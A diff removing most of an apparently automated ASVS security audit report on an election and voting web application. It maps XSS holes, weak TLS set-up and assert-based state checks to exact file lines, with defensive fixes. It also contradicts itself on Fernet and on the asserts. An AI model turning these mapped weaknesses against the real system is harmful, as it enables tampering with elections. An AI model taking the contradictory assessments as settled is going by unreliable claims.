-- **Cryptographic Architecture.** The vote encryption subsystem employs a rigorous multi-layer key derivation chain (BLAKE2b → Argon2 → HKDF-SHA256 → Fernet), uses exclusively approved hash functions, centralizes all Argon2 operations through a single `_hash()` function, and generates all randomness via `secrets` module CSPRNGs. Password hashing uses Argon2 with appropriately configured memory-hard parameters (64 MB, time=2, parallelism=4). Salt lengths are enforced at the database schem [...]
-
-- **SQL Injection Prevention.** 100% of database operations use parameterized queries through `asfpy.db` wrapper methods (`.perform()`, `.first_row()`), providing architectural enforcement against injection. No string-concatenated query construction was identified anywhere in the codebase.
-
-- **Command and Code Injection Elimination.** The codebase has a zero OS command execution surface—no imports of `os.system`, `subprocess`, `commands`, or `popen` exist across all 20 Python source files. Similarly, no use of `eval()`, `exec()`, `compile()`, `pickle` deserialization, or dynamic `__import__()` was found. The EZT template engine supports only substitution, iteration, and conditionals with no code execution capability.
-
-- **XML Attack Surface Elimination.** The architecture exclusively uses non-XML data formats (JSON, URL-encoded forms, EZT templates, YAML) with zero dependencies on XML parsing libraries, completely eliminating XXE and XML-based attack vectors.
-
-- **Authentication & Authorization Delegation.** The application correctly operates as an OAuth client, delegating all authorization server responsibilities to ASF infrastructure via the `asfquart.auth` framework. Role-based access control is enforced through decorators with differentiated privilege levels (`pmc_member` for election creation, `committer` for voting). Session data is consumed read-only, no OAuth server endpoints are exposed, and all redirects use hardcoded paths or databa [...]
-
-- **Selective Output Encoding Present.** While not applied universally (per the XSS findings), the codebase does demonstrate correct dual-context encoding (`[format "js,html"]`) in certain JavaScript-in-HTML-attribute contexts, client-side `escapeHtml()` for dynamic DOM manipulation, and Subresource Integrity (SRI) attributes on CDN-loaded resources.
-
-- **Vote Integrity Controls.** Cryptographic shuffle (Fisher-Yates with `secrets.randbelow()`) prevents vote-ordering information leakage. Tamper detection via `opened_key` recomputation verifies election data integrity before tallying. Sensitive fields (`salt`, `opened_key`) are explicitly excluded from metadata API responses.
-
-- **Input Validation.** Date inputs are validated via `datetime.fromisoformat()` with exception handling, vote types are validated against an allowlist, and election/issue existence is verified via database lookups in route decorators with 100% coverage.
-
----
-
-## 3. Findings
-
-### 3.1 Critical
-
-#### FINDING-001: AES-128-CBC (Fernet) Used Instead of Approved AEAD Cipher; Incomplete Migration to XChaCha20-Poly1305
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | N/A |
-| **ASVS Section(s)** | 11.3.2 |
-| **Affected Files** | `v3/steve/crypto.py:63-75`, `v3/steve/crypto.py:77-80`, `v3/steve/crypto.py:84-88`, `v3/steve/election.py:236`, `v3/steve/election.py:271` |
-| **Source Reports** | 11.3.2.md |
-| **Related Findings** | None |
-
-**Description:**
-
-The application uses Fernet (AES-128-CBC + HMAC-SHA256) for vote encryption instead of an approved AEAD cipher mode such as AES-GCM or XChaCha20-Poly1305. Evidence shows an incomplete migration: the HKDF key derivation is explicitly configured for XChaCha20-Poly1305 (with `info=b'xchacha20_key'` and 32-byte key length), but the actual encryption/decryption operations still use Fernet's AES-128-CBC mode. This is a Type B gap where the control EXISTS (HKDF configured for XChaCha20-Poly1305 [...]
-
-**Remediation:**
-
-Complete the migration indicated by the code comments. Replace Fernet with XChaCha20-Poly1305 (as the HKDF is already configured for) using the nacl.secret.SecretBox library, or alternatively implement AES-256-GCM using cryptography.hazmat.primitives.ciphers.aead.AESGCM. For XChaCha20-Poly1305: derive a 32-byte key using the existing HKDF setup, create a nacl.secret.SecretBox with the key, and use box.encrypt() with auto-generated nonce for encryption and box.decrypt() for decryption. Fo [...]
-
----
-
-#### FINDING-002: Stored XSS via Flash Messages Rendered Without HTML Encoding
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | CWE-79 |
-| **ASVS Section(s)** | 1.2.1 |
-| **Affected Files** | `v3/server/templates/flashes.ezt:1-6`, `v3/server/pages.py:455`, `v3/server/pages.py:518`, `v3/server/pages.py:537`, `v3/server/pages.py:426` |
-| **Source Reports** | 1.2.1.md |
-| **Related Findings** | FINDING-003, FINDING-004, FINDING-005, FINDING-006 |
-
-**Description:**
-
-Flash messages containing user-controlled data (election titles, issue titles, issue IDs) are rendered in HTML without encoding in the flashes.ezt template. When users create elections or issues with malicious titles, the unsanitized content is stored in the session and rendered on subsequent page loads, executing arbitrary JavaScript. The EZT template engine's [format "html"] directive exists but is not applied to [flashes.message]. User input flows from form submissions through flash_s [...]
-
-**Remediation:**
-
-Apply [format "html"] encoding to the flash message output in flashes.ezt: [for flashes]<div class="alert alert-[flashes.category] alert-dismissible fade show" role="alert">[format "html"][flashes.message][end]<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button></div>[end]
-
----
-
-#### FINDING-003: Stored XSS via User-Controlled Data Rendered in HTML Context Without Encoding Across Multiple Templates
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | CWE-79 |
-| **ASVS Section(s)** | 1.2.1, 1.3.1 |
-| **Affected Files** | `v3/server/templates/manage.ezt:241`, `v3/server/templates/manage.ezt:283`, `v3/server/templates/manage-stv.ezt:175`, `v3/server/templates/manage-stv.ezt:196`, `v3/server/templates/admin.ezt:19`, `v3/server/templates/voter.ezt:49`, `v3/server/templates/voter.ezt:96`, `v3/server/templates/vote-on.ezt:88`, `v3/server/templates/vote-on.ezt:131`, `v3/server/templates/vote-on.ezt:163`, `v3/server/pages.py:rewrite_description function` |
-| **Source Reports** | 1.2.1.md, 1.3.1.md |
-| **Related Findings** | FINDING-002, FINDING-004, FINDING-005, FINDING-006 |
-
-**Description:**
-
-User-controlled data including election titles, issue titles, issue descriptions, owner names, and authorization strings are rendered in HTML body contexts without encoding across multiple templates (manage.ezt, manage-stv.ezt, admin.ezt, voter.ezt, vote-on.ezt). The same templates correctly use [format "js,html"] for JavaScript onclick contexts, demonstrating awareness of the encoding mechanism but inconsistent application. This allows election administrators to inject persistent JavaSc [...]
-
-**Remediation:**
-
-Apply [format "html"] to all user-controlled template variables in HTML contexts: <strong>[format "html"][issues.title][end]</strong>, <div class="description mt-2">[format "html"][issues.description][end]</div>, <h5 class="card-title">[format "html"][owned.title][end]</h5>, <h1 class="h4 mb-0 fw-semibold">[format "html"][election.title][end]</h1>. Additionally, fix rewrite_description() to HTML-encode description text before wrapping in HT [...]
-
----
-
-#### FINDING-004: Stored XSS via Unencoded Server Data Embedded in JavaScript Context in vote-on.ezt
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | CWE-79 |
-| **ASVS Section(s)** | 1.2.1, 1.2.3 |
-| **Affected Files** | `v3/server/templates/vote-on.ezt:215-228`, `v3/server/pages.py:258-263` |
-| **Source Reports** | 1.2.1.md, 1.2.3.md |
-| **Related Findings** | FINDING-002, FINDING-003, FINDING-005, FINDING-006 |
-
-**Description:**
-
-Server-side data including issue titles, candidate labels, and candidate names are embedded directly into an inline JavaScript object (STV_CANDIDATES) without encoding in vote-on.ezt. The template uses raw EZT variable interpolation within JavaScript string literals, allowing JavaScript injection through quote escaping. While the same template includes a client-side escapeHtml() function for dynamic DOM operations, this does not protect the server-rendered inline data block. Election adm [...]
-
-**Remediation:**
-
-Use [format "js"] or [format "js,html"] for all user-controlled values in JavaScript contexts: const STV_CANDIDATES = { "[issues.iid]": { seats: [issues.seats], title: "[format "js"][issues.title][end]", candidates: [[for issues.candidates]{ label: "[format "js"][issues.candidates.label][end]", name: "[format "js"][issues.candidates.name][end]" },[end]] } }; Alternatively, use a safer architecture pattern by serializing data as JSON from Python and embedding as a data attribute, then par [...]
-
----
-
-#### FINDING-005: Reflected XSS via URL Path Parameters in Error Templates Without HTML Encoding
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | CWE-79 |
-| **ASVS Section(s)** | 1.2.1 |
-| **Affected Files** | `v3/server/templates/e_bad_eid.ezt:8`, `v3/server/templates/e_bad_iid.ezt:8`, `v3/server/templates/e_bad_pid.ezt:8`, `v3/server/pages.py:175`, `v3/server/pages.py:200`, `v3/server/pages.py:328` |
-| **Source Reports** | 1.2.1.md |
-| **Related Findings** | FINDING-002, FINDING-003, FINDING-004, FINDING-006 |
-
-**Description:**
-
-URL path parameters (eid, iid, pid) are reflected in error templates (e_bad_eid.ezt, e_bad_iid.ezt, e_bad_pid.ezt) without HTML encoding. When the load_election() or load_election_issue() decorators catch ElectionNotFound exceptions, they set result.eid/iid/pid directly from the URL-decoded path parameter and render error templates. The templates output these values using raw EZT variable interpolation [eid], [iid], [pid] without [format "html"], allowing attackers to inject HTML and Jav [...]
-
-**Remediation:**
-
-Apply [format "html"] to all URL parameter outputs in error templates: The Election ID ([format "html"][eid][end]) does not exist..., The Issue ID ([format "html"][iid][end]) does not exist..., The Person ID ([format "html"][pid][end]) does not exist...
-
----
-
-#### FINDING-006: Stored XSS via Unencoded Untrusted Data in Dynamically Built URL
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | CWE-79 |
-| **ASVS Section(s)** | 1.2.2 |
-| **Affected Files** | `v3/server/pages.py:55-63`, `v3/server/templates/vote-on.ezt` |
-| **Source Reports** | 1.2.2.md |
-| **Related Findings** | FINDING-002, FINDING-003, FINDING-004, FINDING-005 |
-
-**Description:**
-
-The rewrite_description() function dynamically builds URLs by extracting filenames from user-controlled issue descriptions using the pattern doc:filename. These filenames are inserted directly into href attributes without URL encoding or HTML attribute encoding, creating a stored XSS vulnerability. The control (URL encoding / HTML attribute encoding) does not exist anywhere in the data flow path. The filename captured by regex doc:([^\s]+) is injected directly into an href attribute and [...]
-
-**Remediation:**
-
-Apply URL encoding and HTML escaping to the rewrite_description function:
-
-```python
-import html
-from urllib.parse import quote
-
-def rewrite_description(issue):
- """Rewrite issue description: wrap in <pre> and convert doc:filename to links."""
- import re
- desc = html.escape(issue.description) # HTML-escape the entire description first
- def repl(match):
- filename = match.group(1)
- # URL-encode for path context, HTML-escape for attribute context
- safe_href = html.escape(f'/docs/{issue.iid}/{quote(filename, safe="")}')
- safe_text = html.escape(filename)
- return f'<a href="{safe_href}">{safe_text}</a>'
- desc = re.sub(r'doc:([^\s]+)', repl, desc)
- issue.description = f'<pre>{desc}</pre>'
-```
-
-Additionally: Move HTML construction to templates to pass structured data (filename, iid) to EZT templates with proper [format] directives; Implement authorization checks to complete the check authz placeholders throughout pages.py; Consider migrating from EZT to a modern templating engine with auto-escaping by default (e.g., Jinja2); Establish secure coding guidelines that all HTML construction must occur in templates, not Python code
-
----
-
-#### FINDING-007: TLS Not Enforced - Application Permits Plain HTTP Operation for All External-Facing Services
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | CWE-319 |
-| **ASVS Section(s)** | 12.2.1, 12.2.2 |
-| **Affected Files** | `v3/server/main.py:84-90`, `v3/server/main.py:97-118`, `v3/server/config.yaml.example:27-31` |
-| **Source Reports** | 12.2.1.md, 12.2.2.md |
-| **Related Findings** | None |
-
-**Description:**
-
-The application implements TLS as an optional, bypassable configuration toggle rather than a mandatory security control. The conditional check `if app.cfg.server.certfile:` on line 84 means when the certfile config value is empty, blank, or absent, the server launches over plain HTTP with zero warnings, zero errors, and zero compensating controls. The configuration comments actively document this as intended behavior. There is no startup validation that rejects a missing TLS configuratio [...]
-
-**Remediation:**
-
-Make TLS mandatory by enforcing certificate validation at startup - fail with a critical error if certfile/keyfile are missing or invalid. Remove configuration documentation suggesting plain HTTP is acceptable. Add HSTS response header (`Strict-Transport-Security: max-age=31536000; includeSubDomains`) to all responses. For ASGI mode, document mandatory Hypercorn TLS configuration and add startup validation of `X-Forwarded-Proto` or equivalent. Consider adding an HTTP listener that return [...]
-
----
-
-#### FINDING-008: No TLS Protocol Version Enforcement - Server May Accept Deprecated TLS 1.0/1.1 Connections
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | CWE-327 |
-| **ASVS Section(s)** | 12.1.1 |
-| **Affected Files** | `v3/server/main.py:83-91`, `v3/server/main.py:99-118`, `v3/server/config.yaml.example` |
-| **Source Reports** | 12.1.1.md |
-| **Related Findings** | None |
-
-**Description:**
-
-The application constructs TLS parameters by passing only `certfile` and `keyfile` as keyword arguments to `app.runx()`. At no point in the codebase is an `ssl.SSLContext` explicitly created or configured. This means: (1) No `ssl_context.minimum_version = ssl.TLSVersion.TLSv1_2` - Python's `ssl.SSLContext` defaults `minimum_version` to `TLSVersion.MINIMUM_SUPPORTED`, which is typically TLS 1.0 on most systems. (2) No protocol flags - No use of `ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1` to dis [...]
-
-**Remediation:**
-
-Create an explicit `ssl.SSLContext` with enforced minimum version and pass it to the server framework. Implement a `_create_tls_context()` function that: (1) Creates an `ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)`, (2) Sets `ctx.minimum_version = ssl.TLSVersion.TLSv1_2` and `ctx.maximum_version = ssl.TLSVersion.TLSv1_3`, (3) Disables compression and enforces server cipher order with appropriate options flags, (4) Restricts cipher suites to strong modern ciphers using `ctx.set_ciphers()`, (5 [...]
-
----
-
-#### FINDING-009: Election Lifecycle State Enforcement Uses `assert` Statements — Control Exists But Is Removable (Type B Gap)
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | N/A |
-| **ASVS Section(s)** | 2.3.1 |
-| **Affected Files** | `v3/steve/election.py:50`, `v3/steve/election.py:70`, `v3/steve/election.py:123`, `v3/steve/election.py:208`, `v3/steve/election.py:228`, `v3/steve/election.py:241`, `v3/steve/election.py:273`, `v3/server/pages.py:447`, `v3/server/pages.py:466`, `v3/server/pages.py:483`, `v3/server/pages.py:510`, `v3/server/pages.py:534` |
-| **Source Reports** | 2.3.1.md |
-| **Related Findings** | None |
-
-**Description:**
-
-Seven critical election lifecycle management methods rely exclusively on Python `assert` statements for state enforcement. When the application runs with the `-O` optimization flag (a standard production practice), all `assert` statements are removed from bytecode, completely eliminating state transition controls. This allows the election state machine (editable → open → closed) to be traversed in arbitrary order, including backwards transitions and step skipping. The codebase contains a [...]
-
-**Remediation:**
-
-Replace all `assert` statements used for state enforcement with the existing `_all_metadata(required_state)` mechanism. For example:
-
-```python
-def open(self, pdb):
- # Verify the Election is in the editing state (raises ElectionBadState if not)
- self._all_metadata(required_state=self.S_EDITABLE)
-
- self.add_salts()
- edata = self.gather_election_data(pdb)
- salt = crypto.gen_salt()
- opened_key = crypto.gen_opened_key(edata, salt)
- self.c_open.perform(salt, opened_key, self.eid)
-
-def close(self):
- "Close an election."
- # Verify the Election is open (raises ElectionBadState if not)
- self._all_metadata(required_state=self.S_OPEN)
- self.c_close.perform(self.eid)
-
-def add_issue(self, title, description, vtype, kv):
- "Add a new issue with a generated unique IID."
- self._all_metadata(required_state=self.S_EDITABLE)
- if vtype not in vtypes.TYPES:
- raise ValueError(f'Invalid vote type: {vtype}')
- # ... rest of method
-
-def delete(self):
- "Delete this Election and its Issues and Person/Issue pairs."
- self._all_metadata(required_state=self.S_EDITABLE)
- # ... rest of method
-```
-
-Apply same pattern to: edit_issue(), delete_issue(), add_voter(), add_salts()
-
----
-
-#### FINDING-010: Vote Content Validation Step Entirely Absent in Vote Submission Flow (Type A Gap)
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | N/A |
-| **ASVS Section(s)** | 2.3.1, 2.2.1, 2.2.2 |
-| **Affected Files** | `v3/steve/election.py:282-298`, `v3/server/pages.py:383-424` |
-| **Source Reports** | 2.3.1.md, 2.2.1.md, 2.2.2.md |
-| **Related Findings** | None |
-
-**Description:**
-
-The vote content (votestring) submitted by users is not validated against the issue's vote type before being encrypted and stored. The system accepts arbitrary strings for votes, which are then encrypted and stored as valid votes. This allows attackers to submit invalid vote values (e.g., invalid YNA values, non-existent STV candidates, duplicate rankings) that corrupt the vote record. A comment in the code at election.py line 229 indicates validation was intended ('### validate VOTESTRI [...]
-
-**Remediation:**
-
-Implement the missing validation step using the existing `vtypes` module infrastructure:
-
-```python
-# In election.py, add_vote()
-def add_vote(self, pid: str, iid: str, votestring: str):
- "Add VOTESTRING as the (latest) vote by PID for IID."
-
- # The Election should be open.
- md = self._all_metadata(self.S_OPEN)
-
- # Fetch issue to determine vote type
- issue = self.q_get_issue.first_row(iid)
- if not issue:
- raise IssueNotFound(iid)
-
- # Validate votestring for the issue's vote type
- vtype_mod = vtypes.vtype_module(issue.type)
- if not vtype_mod.validate(votestring, self.json2kv(issue.kv)):
- raise InvalidVoteString(iid, issue.type, votestring)
-
- mayvote = self.q_get_mayvote.first_row(pid, iid)
- vote_token = crypto.gen_vote_token(md.opened_key, pid, iid, mayvote.salt)
- ciphertext = crypto.create_vote(vote_token, mayvote.salt, votestring)
- self.c_add_vote.perform(vote_token, ciphertext)
-```
-
-```python
-# Each vtype module should implement validate():
-# vtypes/yna.py
-VALID_VOTES = {'yes', 'no', 'abstain'}
-def validate(votestring, kv):
- return votestring.lower().strip() in VALID_VOTES
-
-# vtypes/stv.py
-def validate(votestring, kv):
- candidates = set(kv.get('labelmap', {}).keys())
- rankings = votestring.split(',')
- return all(r.strip() in candidates for r in rankings) and len(rankings) <= len(candidates)
-```
-
----
-
-#### FINDING-011: Complete Absence of Authenticated Data Clearing from Client Storage
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | N/A |
-| **ASVS Section(s)** | 14.3.1 |
-| **Affected Files** | `v3/server/pages.py:72-103`, `v3/server/pages.py:148`, `v3/server/pages.py:186`, `v3/server/pages.py:528` |
-| **Source Reports** | 14.3.1.md |
-| **Related Findings** | None |
-
-**Description:**
-
-The application completely lacks mechanisms to clear authenticated data from client storage upon session termination. Specifically: (1) No `Clear-Site-Data` header is sent on any response, (2) No logout endpoint exists to trigger session termination and cleanup, (3) No `Cache-Control` headers prevent browser caching of authenticated pages, (4) No client-side JavaScript implements cleanup when sessions end or server is unreachable. This is a complete absence of the ASVS 14.3.1 Level 1 req [...]
-
-**Remediation:**
-
-1. Add `Clear-Site-Data` header on logout response: Create a `/logout` endpoint that destroys the server-side session and sets `Clear-Site-Data: "cache", "cookies", "storage"` header. 2. Add `Cache-Control` and security headers to all authenticated responses via `after_request` middleware: Set `Cache-Control: no-store, no-cache, must-revalidate, max-age=0`, `Pragma: no-cache`, and `Expires: 0` headers on all authenticated pages (or globally except for static assets). 3. Add client-side c [...]
-
----
-
-#### FINDING-012: Inconsistent Field Filtering — Election List Methods Return Raw Database Rows Without Python-Level Sensitive Field Exclusion
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | CWE-200 |
-| **ASVS Section(s)** | 15.3.1 |
-| **Affected Files** | `v3/steve/election.py:407-412`, `v3/steve/election.py:438-446`, `v3/steve/election.py:420-436`, `v3/server/pages.py:155-162`, `v3/server/pages.py:320-324`, `v3/server/pages.py:477-519` |
-| **Source Reports** | 15.3.1.md |
-| **Related Findings** | None |
-
-**Description:**
-
-Audit of ASVS 15.3.1 (data minimization in API/data responses) reveals one CRITICAL finding related to inconsistent application of field-level filtering controls for election data objects. The codebase demonstrates awareness of the need to exclude sensitive cryptographic fields through an explicit filtering control in `get_metadata()`, but this control is not applied to three parallel code paths that also return election data to user-facing page templates. The methods `open_to_pid()`, `u [...]
-
-**Remediation:**
-
-Apply the same explicit field construction pattern used in `get_metadata()` to all class methods that return election data. Implement a `_safe_election_summary()` static method that constructs a new edict with only safe fields (eid, title, owner_pid, closed, open_at, close_at), explicitly excluding cryptographic fields (salt, opened_key). Apply this method in `open_to_pid()`, `upcoming_to_pid()`, and `owned_elections()` by wrapping all returned rows. Additionally, add a defense-in-depth [...]
-
----
-
-#### FINDING-013: No Documented Risk-Based Remediation Timeframes for Third-Party Components
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | N/A |
-| **ASVS Section(s)** | 15.1.1 |
-| **Affected Files** | `v3/steve/crypto.py:85-94`, `v3/steve/crypto.py:71-76`, `v3/steve/crypto.py:78-82`, `v3/steve/election.py:283-287`, `v3/steve/election.py:320-333` |
-| **Source Reports** | 15.1.1.md |
-| **Related Findings** | None |
-
-**Description:**
-
-The application lacks documented risk-based remediation timeframes for third-party component vulnerabilities and general library update schedules. The application's security model depends on security-critical cryptographic libraries (argon2-cffi and cryptography) used extensively in crypto.py for vote encryption, key derivation, and tamper detection. Without documented remediation timeframes (e.g., Critical CVE → 24h, High → 7d, Medium → 30d), a published CVE in these libraries could rem [...]
-
-**Remediation:**
-
-Create a Dependency Security Policy document (e.g., DEPENDENCY-POLICY.md) that includes: (1) Software Bill of Materials (SBOM) in CycloneDX or SPDX format generated by CI pipeline, (2) Component Risk Classification identifying 'Dangerous Functionality Components' (cryptography, argon2-cffi) and 'Risky Components', (3) Vulnerability Remediation Timeframes with severity-based response times (Critical 9.0+: 24h for dangerous functionality/48h for standard; High 7.0-8.9: 72h/7d; Medium 4.0-6 [...]
-
----
-
-#### FINDING-014: Complete Absence of SBOM and Dependency Version Tracking
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🔴 Critical |
-| **ASVS Level(s)** | L1 |
-| **CWE** | CWE-1104 |
-| **ASVS Section(s)** | 15.2.1 |
-| **Affected Files** | `v3/server/main.py:1`, `v3/steve/crypto.py:1-10`, `v3/steve/election.py:1-10`, `Project-wide:N/A` |
-| **Source Reports** | 15.2.1.md |
-| **Related Findings** | None |
-
-**Description:**
-
-The application lacks any mechanism to track, version, or audit third-party dependencies. While main.py declares a uv-based script runner, no dependency manifest with version constraints exists. No pyproject.toml, requirements.txt, uv.lock, Pipfile.lock, or SBOM document was found. The application's entire security model depends on cryptography (Fernet encryption of votes) and argon2-cffi (key derivation), but their versions are completely unverifiable. Without pinned versions, there is [...]
-
-**Remediation:**
-
-IMMEDIATE ACTIONS: 1) Create pyproject.toml with pinned dependency versions including asfquart, asfpy, cryptography>=44.0.0, argon2-cffi>=23.1.0, easydict>=1.13. 2) Generate and commit uv.lock file using 'uv lock' for reproducible builds. 3) Generate formal SBOM in CycloneDX or SPDX format using cyclonedx-bom tool. 4) Document update and remediation timeframes in SECURITY.md (Critical CVEs: 48 hours, High: 7 days, Medium: 30 days, routine updates: monthly). 5) Integrate automated vulnera [...]
-
-### 3.2 High
-
-#### FINDING-015: No Certificate Trust Validation - Self-Signed and Development Certificates Permitted
-
-| Attribute | Value |
-|-----------|-------|
-| **Severity** | 🟠 High |
-| **ASVS Level(s)** | L1 |
-| **CWE** | CWE-295 |
-| **ASVS Sections** | 12.2.2 |
-| **Files** | `v3/server/main.py:87-91`<br>`v3/server/config.yaml.example:31-33` |
-| **Source Reports** | 12.2.2.md |
-| **Related** | None |
-
-**Description:**
-
-When TLS is enabled, no validation occurs to ensure the provided certificate is publicly trusted. The configuration template references mkcert-generated development certificates as the example, and there is no code to detect or reject self-signed certificates, development CAs, or certificates that would not be trusted by standard browsers and clients. This allows production deployment with certificates that provide encryption but no authentication, enabling man-in-the-middle attacks wher [...]
-
-**Remediation:**
-
-Implement certificate validation to ensure certificates are not self-signed or from development CAs. Detect mkcert patterns (check for 'mkcert' in certificate subject or issuer fields) and check certificate chain to verify it terminates in a publicly trusted root CA. Update configuration template to replace mkcert certificate references with guidance for publicly trusted certificates (Let's Encrypt, organizational CA) and add prominent comments warning against development certificates in [...]
-
----
-
----
-
-# 4. Positive Security Controls
-
-| Control ID | Domain | Control Description | Evidence | Implementation Files |
-|------------|--------|---------------------|----------|---------------------|
-| PSC-001 | vote_encryption_storage | Authenticated encryption via Fernet (AES-128-CBC + HMAC-SHA256) | All encryption uses cryptography.fernet.Fernet with Encrypt-then-MAC construction, preventing padding oracle attacks | v3/steve/crypto.py:75, v3/steve/crypto.py:83 |
-| PSC-002 | vote_encryption_storage | No ECB mode usage | Only block cipher usage is through Fernet which enforces CBC mode internally. No raw Cipher or AES instantiations found. | N/A |
-| PSC-003 | vote_encryption_storage | No PKCS#1 v1.5 padding | No RSA or asymmetric encryption exists in the codebase. Fernet uses PKCS7 padding for symmetric block cipher (not the weak RSA padding scheme). | N/A |
-| PSC-004 | vote_encryption_storage | Key derivation via HKDF-SHA256 | Secure key derivation for Fernet key generation; correctly applied with salt and context parameters for cryptographic key derivation | v3/steve/crypto.py:60, v3/steve/crypto.py:63 |
-| PSC-005 | vote_encryption_storage | Password hashing via Argon2 | Password and token hashing uses Argon2 with appropriate parameters configured (64MB memory, time=2, parallelism=4) | v3/steve/crypto.py:91 |
-| PSC-006 | vote_encryption_storage | CSPRNG for randomness | Salt generation uses secrets.token_bytes() and IDs use secrets.token_hex(); all randomness generation uses cryptographically secure source instead of pseudo-random | v3/steve/crypto.py:40, v3/steve/crypto.py:104, v3/steve/crypto.py:119 |
-| PSC-007 | vote_encryption_storage | Single well-audited cryptography library | All cryptographic operations use the cryptography library, reducing risk of custom insecure implementations | v3/steve/crypto.py |
-| PSC-008 | vote_encryption_storage | BLAKE2b for pre-hashing large inputs | Appropriate use for reducing Argon2 input size before memory-hard hashing, following RFC 7693 standards | v3/steve/crypto.py:44, v3/steve/crypto.py:45 |
-| PSC-009 | vote_encryption_storage | Cryptographic shuffle for vote ordering | Fisher-Yates algorithm with secrets.randbelow() prevents vote ordering information leakage | v3/steve/crypto.py:104 |
-| PSC-010 | vote_encryption_storage | Salt length enforcement in database schema | CHECK constraint ensures consistent 16-byte salt sizes for all cryptographic operations | v3/schema.sql:79, v3/schema.sql:173 |
-| PSC-011 | vote_encryption_storage | Sensitive field exclusion from metadata API | Salt and opened_key deliberately excluded from public metadata endpoint responses | v3/steve/election.py:148 |
-| PSC-012 | vote_encryption_storage | Tamper detection via opened_key recomputation | Election data integrity verified by recomputing cryptographic key before tallying votes | v3/steve/election.py:282 |
-| PSC-013 | vote_encryption_storage | Multi-layer key derivation chain | Well-structured cryptographic isolation between elections, issues, and voters using election data → BLAKE2b → Argon2 → opened_key → Argon2 → vote_token → HKDF → vote_key | v3/steve/crypto.py:44-88 |
-| PSC-014 | vote_encryption_storage | Exclusive use of approved hash functions | Only BLAKE2b, SHA-256 (via HKDF and Fernet), and Argon2 are used. No MD5, SHA-1, or deprecated hash functions present. | v3/steve/crypto.py:3 |
-| PSC-015 | vote_encryption_storage | Centralized hash function management | All Argon2 operations go through single _hash() function, enabling easy audit and system-wide updates. | v3/steve/crypto.py:86-95 |
-| PSC-016 | web_input_validation | Context-aware encoding in JS onclick handlers | Correct dual-context encoding for JavaScript embedded in HTML attributes using [format "js,html"] | v3/server/templates/manage.ezt:261 |
-| PSC-017 | web_input_validation | Client-side HTML escaping for dynamic DOM manipulation | escapeHtml() function properly escapes content for dynamically created elements | v3/server/templates/vote-on.ezt:makeItem() |
-| PSC-018 | web_input_validation | Parameterized database queries | All database operations use asfpy.db parameterization preventing SQL injection. Architectural enforcement via wrapper with 100% of operations using .perform() and .first_row() methods with bound parameters. | v3/steve/election.py, v3/steve/persondb.py |
-| PSC-019 | web_input_validation | Hardcoded page titles in \<title\> element | HTML \<title\> uses server-set constants, not user input | v3/server/pages.py |
-| PSC-020 | web_input_validation | Framework-provided path traversal protection | quart.send_from_directory() used for static file serving | v3/server/pages.py:serve_static(), v3/server/pages.py:serve_doc |
-| PSC-021 | web_input_validation | Subresource Integrity (SRI) on CDN resources | integrity= attributes present on external CSS/JS resources | v3/server/templates/header.ezt, v3/server/templates/footer.ezt |
-| PSC-022 | web_input_validation | All redirect URLs use hex-only EIDs | All quart.redirect() calls use secrets.token_hex() output | v3/server/pages.py |
-| PSC-023 | web_input_validation | Relative URLs only (no protocol selection) | All constructed URLs start with /, eliminating javascript: / data: protocol injection | All templates and server-side redirects |
-| PSC-024 | web_input_validation | Database-validated IDs before URL use | EIDs and IIDs are validated against database before any URL construction | v3/server/pages.py:load_election, v3/server/pages.py:load_election_issue |
-| PSC-025 | web_input_validation | Zero OS command execution surface | None of os.system, subprocess, commands, popen are imported anywhere in the codebase | All 20 Python source files |
-| PSC-026 | web_input_validation | No eval() or dynamic code execution | Complete avoidance of eval(), exec(), compile(), pickle deserialization, dynamic __import__() across all files | All files |
-| PSC-027 | web_input_validation | Safe template engine (EZT) | EZT supports only substitution, iteration, conditionals — no code execution capability | All .ezt files |
-| PSC-028 | web_input_validation | Complete elimination of XML attack surface | Architecture uses exclusively non-XML data formats - JSON, URL-encoded forms, EZT templates, YAML queries. Zero dependencies on XML parsing libraries. | v3/server/pages.py, v3/steve/election.py, v3/steve/persondb.py |
-| PSC-029 | web_input_validation | Election state machine enforcement | State transitions use assert self.is_editable() / self.is_open() with _all_metadata(required_state) | v3/steve/election.py |
-| PSC-030 | web_input_validation | Date input validation | _set_election_date() validates date format using datetime.datetime.fromisoformat() with try/except before any state change | v3/server/pages.py |
-| PSC-031 | web_input_validation | Authentication decorators on protected routes | @asfquart.auth.require decorators applied to protected endpoints with ~95% coverage | v3/server/pages.py |
-| PSC-032 | web_input_validation | Election and Issue existence validation via decorators | load_election and load_election_issue decorators validate database object existence for all routes with 100% coverage | v3/server/pages.py:148, v3/server/pages.py:171 |
